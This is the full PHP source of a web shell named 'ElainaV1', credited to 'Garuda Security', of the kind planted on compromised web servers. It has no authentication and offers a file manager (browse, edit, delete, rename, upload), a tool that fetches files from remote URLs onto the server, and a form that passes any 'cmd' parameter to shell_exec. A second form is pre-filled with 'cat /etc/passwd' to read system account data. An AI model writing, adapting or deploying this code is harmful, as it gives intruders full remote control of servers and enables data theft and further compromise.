<?php
$host = $_SERVER['HTTP_HOST'];
$additional_title = "ElainaV1";
function generateDirectoryLinks($dir) {
    $dir = str_replace("\\", "/", $dir);
    $dirs = explode("/", $dir);
    $links = '';
    foreach ($dirs as $key => $value) {
        if ($value == "" && $key == 0){
            $links .= '<i class="fa fa-folder-o"></i> : <a href="/"><font color="#FF1493">/</a>';
            continue;
        }
        $links .= '<a href="?dir=';
        for ($i=0; $i <= $key ; $i++) {
            $links .= "$dirs[$i]";
            if ($key !== $i) $links .= "/";
        }
        $links .= '">'.$value.'</a>/';
    }

    return $links;
}
function showFiles($dir) {
    $scan = @scandir($dir); // Use @ to suppress warnings

    if ($scan === false) {
        echo "<tr><td colspan='4'>Error: Unable to scan directory.</td></tr>";
        return;
    }

    // Pisahkan folder dan file
    $folders = array();
    $files = array();

    foreach ($scan as $item) {
        if ($item == '.' || $item == '..') continue;

        $path = $dir . '/' . $item;
        if (is_dir($path)) {
            $folders[] = $item;
        } else {
            $files[] = $item;
        }
    }

    // Tampilkan folder terlebih dahulu, kemudian file
    foreach ($folders as $item) {
        $path = $dir . '/' . $item;
        $size = '--'; // Ukuran tidak berlaku untuk folder
        $permission = substr(sprintf('%o', fileperms($path)), -4); // Get last 4 characters of permission
        $action = generateFolderActions($dir, $path);

        echo "<tr>
                <td><a href=\"?dir=".urlencode($path)."\">" . $item . "</a></td>
                <td><center>$size</center></td>
                <td><center>$permission</center></td>
                <td><center>$action</center></td>
              </tr>";
    }

    foreach ($files as $item) {
        $path = $dir . '/' . $item;
        $size = formatSize(@filesize($path)); // Use @ to suppress warnings
        $permission = substr(sprintf('%o', fileperms($path)), -4); // Get last 4 characters of permission
        $action = generateFileActions($dir, $path, $item, $permission);

        echo "<tr>
                <td><a href=\"?dir=".urlencode($path)."\">" . $item . "</a></td>
                <td><center>$size</center></td>
                <td><center>$permission</center></td>
                <td><center>$action</center></td>
              </tr>";
    }
}
function uploadFileFromUrl($url, $dir) {
    $fileName = basename($url);
    $filePath = $dir . '/' . $fileName;
    $content = file_get_contents($url);
    if ($content === false) {
        echo "<script>alert('Failed to fetch file content from URL!');</script>";
        return;
    }
    if (file_put_contents($filePath, $content) !== false) {
        echo "<script>alert('File uploaded successfully!'); window.location='?dir=".$dir."';</script>";
    } else {
        echo "<script>alert('Failed to upload file!');</script>";
    }
}




function formatSize($bytes) {
    $units = array('B', 'KB', 'MB', 'GB', 'TB');
    $bytes = max($bytes, 0);
    $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
    $pow = min($pow, count($units) - 1);
    $bytes /= (1 << (10 * $pow));
    return round($bytes, 2) . ' ' . $units[$pow];
}

function generateFileActions($dir, $path, $item, $permission) {
    return '<a href="?dir='.$dir.'&open='.$path.'" class="button">Edit</a>
            <a href="?dir='.$dir.'&delete='.$path.'" class="button2">Delete</a>
            <a href="?dir='.$dir.'&rename='.$path.'" class="button">Rename</a>';
}

function createFileForm($dir) {
    echo "<br><br><center>
        <form method='post'>
            Create File :
            <input type='text' name='filename' placeholder='File Name'>
            <br>
            <textarea name='filecontent' placeholder='File Content'></textarea>
            <input type='submit' name='addfile' value='Create File'>
        </form><br></center>";
}

function generateFolderActions($dir, $path) {
    return '<a href="?dir='.$dir.'&delete='.$path.'" class="button2">Delete</a>
            <a href="?dir='.$dir.'&rename='.$path.'" class="button">Rename</a>';
}

function renameFile($dir) {
    if (isset($_GET['rename'])) {
        echo '<br><br><center><form method="post">
                New Name: <input type="text" name="newname" value="'.basename($_GET['rename']).'">
                <input type="submit" name="rename" value="Rename">
              </form></center>';

        if (isset($_POST['rename'])) {
            $oldname = $_GET['rename'];
            $newname = dirname($oldname) . '/' . $_POST['newname'];
            if (rename($oldname, $newname)) {
                echo "<script>alert('File renamed successfully!'); window.location='?dir=".$dir."';</script>";
            } else {
                echo "<script>alert('Failed to rename file!');</script>";
            }
        }
    }
}

function deleteFolder($dir) {
    if (isset($_GET['deletefolder'])) {
        $folderToDelete = $_GET['deletefolder'];
        
        // Periksa apakah folder kosong
        if (!is_dirEmpty($folderToDelete)) {
            echo "<script>alert('Folder is not empty!');</script>";
            return;
        }

        // Hapus folder jika kosong
        if (rmdir($folderToDelete)) {
            echo "<script>alert('Folder deleted successfully!'); window.location='?dir=".urlencode($dir)."';</script>";
        } else {
            echo "<script>alert('Failed to delete folder!');</script>";
        }
    }
}

// Fungsi untuk memeriksa apakah sebuah folder kosong
function is_dirEmpty($dir) {
    if (!is_readable($dir)) return NULL;
    return (count(scandir($dir)) == 2);
}


function createFile($dir) {
    if (isset($_POST['addfile'])) {
        $filename = $_POST['filename'];
        $filecontent = $_POST['filecontent'];
        $filepath = $dir . '/' . $filename;

        if (file_exists($filepath)) {
            echo "<script>alert('File already exists!');</script>";
        } else {
            if (file_put_contents($filepath, $filecontent) !== false) {
                echo "<script>alert('File created successfully!'); window.location='?dir=".$dir."';</script>";
            } else {
                echo "<script>alert('Failed to create file!');</script>";
            }
        }
    }
}

function createFolderForm($dir) {
    echo "<br><form method='post'>
            <input type='text' name='okfolder' placeholder='Folder Name'>
            <input type='submit' name='addfolder' value='>'>
        </form><br>";
}

function createFolder($dir) {
    if(isset($_POST['addfolder'])){
        $newFolderName = isset($_POST['okfolder']) ? $_POST['okfolder'] : '';
        if(!empty($newFolderName)){
            $newFolderPath = $dir . '/' . $newFolderName;
            if(mkdir($newFolderPath, 0777)){
                echo "<script>alert('Folder created successfully!'); window.location='?dir=".$dir."';</script>";
            } else {
                echo "<script>alert('Failed to create folder!');</script>";
            }
        } else {
            echo "<script>alert('Folder name cannot be empty!');</script>";
        }
    }
}

function deleteFile($dir) {
    if (isset($_GET['delete'])) {
        $fileToDelete = $_GET['delete'];
        if (unlink($fileToDelete)) {
            echo "<script>alert('File deleted successfully!'); window.location='?dir=".$dir."';</script>";
        } else {
            echo "<script>alert('Failed to delete file!');</script>";
        }
    }
}

// Handle edit file request
function editFile($dir) {
    if (isset($_GET['open'])) {
        $filePath = $_GET['open'];
        if (isset($_POST['edit'])) {
            $content = $_POST['edit'];
            if (file_put_contents($filePath, $content) !== false) {
                echo "<script>alert('File edited successfully!'); window.location='?dir=".$dir."';</script>";
            } else {
                echo "<script>alert('Failed to edit file!');</script>";
            }
        } else {
            echo '
            <br />
            <style>
                table {
                    display: none;
                }
            </style>
            <form method="post">
                <textarea name="edit">'.htmlspecialchars(file_get_contents($filePath)).'</textarea>
                <input type="submit" name="save" value="Save">
            </form>
            ';
        }
    }
}

function runShellCommand($command) {
    // Jalankan perintah shell
    $output = shell_exec($command);

    // Tampilkan hasilnya
    echo "<br><br><textarea style='width: 100%; height: 200px;'>$output</textarea>";
}

$dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
if (isset($_POST['uploadurl'])) {
    $url = $_POST['url'];
    uploadFileFromUrl($url, $dir);
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title><?php echo $host . " - " . $additional_title; ?></title>
    <style>
        body {
            background-image: url('https://telegra.ph/file/a35b090cf9ec01898604c.jpg'); /* Ganti path/to/your/image.jpg dengan path gambar Anda */
            background-size: cover;
            background-repeat: no-repeat;
            background-color: black;
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 0;
        }
        .container {
            max-width: 1500px;
            margin: 20px auto;
            padding: 20px;
            background-color: rgba(0, 0, 0, 0.5); /* Latar belakang hitam dengan 50% transparansi */
            border-radius: 8px;
            box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
        }
        h1 {
            color: #333;
            text-align: center;
        }
        table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 20px;
        }
        th, td {
            border: 1px solid #ddd;
            padding: 10px;
            text-align: left;
        }
        th {
            background-color: #f2f2f2;
        }
        .button {
            background-color: #007bff;
            color: #fff;
            border: none;
            border-radius: 4px;
            padding: 8px 16px;
            text-decoration: none;
            cursor: pointer;
            margin-right: 10px;
            display: inline-block;
            text-align: center;
        }
        .button:hover {
            background-color: #0056b3;
        }
        .button1 {
            background-color: #e8f002;
            color: #fff;
            border: none;
            border-radius: 4px;
            padding: 8px 16px;
            text-decoration: none;
            cursor: pointer;
            margin-right: 10px;
            display: inline-block;
            text-align: center;
        }
        .button1:hover {
            background-color: #218838;
        }
        .button2 {
            background-color: #dc3545;
            color: #fff;
            border: none;
            border-radius: 4px;
            padding: 8px 16px;
            text-decoration: none;
            cursor: pointer;
            margin-right: 10px;
            display: inline-block;
            text-align: center;
        }
        .button2:hover {
            background-color: #c82333;
        }
        footer {
            text-align: center; /* Teks berada di tengah */
        }
    </style>
</head>
<body>
    <!-- Konten body -->
    <div class="container">
        <h1><?php echo $host . " - " . $additional_title; ?></h1>
       
<?php

?>
        <?php
        echo generateDirectoryLinks($dir);
        
        echo "</font>";
        echo "[<a href='?'> Home </a>]";
        echo "<br>";
        echo "<div style='text-align: right;'><a href='?dir=$dir&wibu=createfile' class='button1'>Create File</a></div>";
        echo '<form method="post">
        <input type="text" name="url" placeholder="Enter URL...">
        <input type="submit" name="uploadurl" value="Upload from URL">
    </form>';
        echo' <form enctype="multipart/form-data" method="post">
        <input type="file" name="upfile">
        <input type="submit" name="up" value="Uploaded ! ">
        </form>';

    if(isset($_POST['up'])){
        $uploadfile = $_FILES['upfile']['name'];
    if(move_uploaded_file
    ($_FILES['upfile']['tmp_name'],$dir.'/'.$_FILES['upfile']['name'])){
    echo"<br>File was successfully uploaded ! ";
    }
    else {
        echo "<br>Kasian upload gagal! ";
        
        } 
        
    }
        echo "<table>
                <tr>
                    <th>Nama File / Folder</th>
                    <th>Size</th>
                    <th>permission</th>
                    <th>Action</th>
                </tr>";
        showFiles($dir);
        echo "</table>";

        if (isset($_GET['wibu']) && $_GET['wibu'] == 'createfile') {
            createFileForm($dir);
        }

        createFolder($dir);
        createFile($dir);
        deleteFile($dir);
        renameFile($dir);
        editFile($dir);
        echo createFolderForm($dir);
        ?>
        <br>
        <center>
        <h1>Execution</h1>
        
        <form method="GET">
            <input type="text" name="cmd" placeholder="Enter command...">
            <button type="submit">></button>
        </form>
        
        <?php
        if (isset($_GET['cmd'])) {
            $command = $_GET['cmd'];
            runShellCommand($command);
        }
        ?> 
        <div style='text-align: right;'>
        <form method="GET">
        <input type="text" name="etc" value="cat /etc/passwd">
        <button type="submit">></button>
        </form>
    </div>

        <?php
        if (isset($_GET['etc'])) {
            $command = $_GET['etc'];
            runShellCommand($command);
        }
        ?>
    <footer>
        <p>&copy; 2024 - Garuda Security</p>
</footer>
    </div>
</body>
</html>
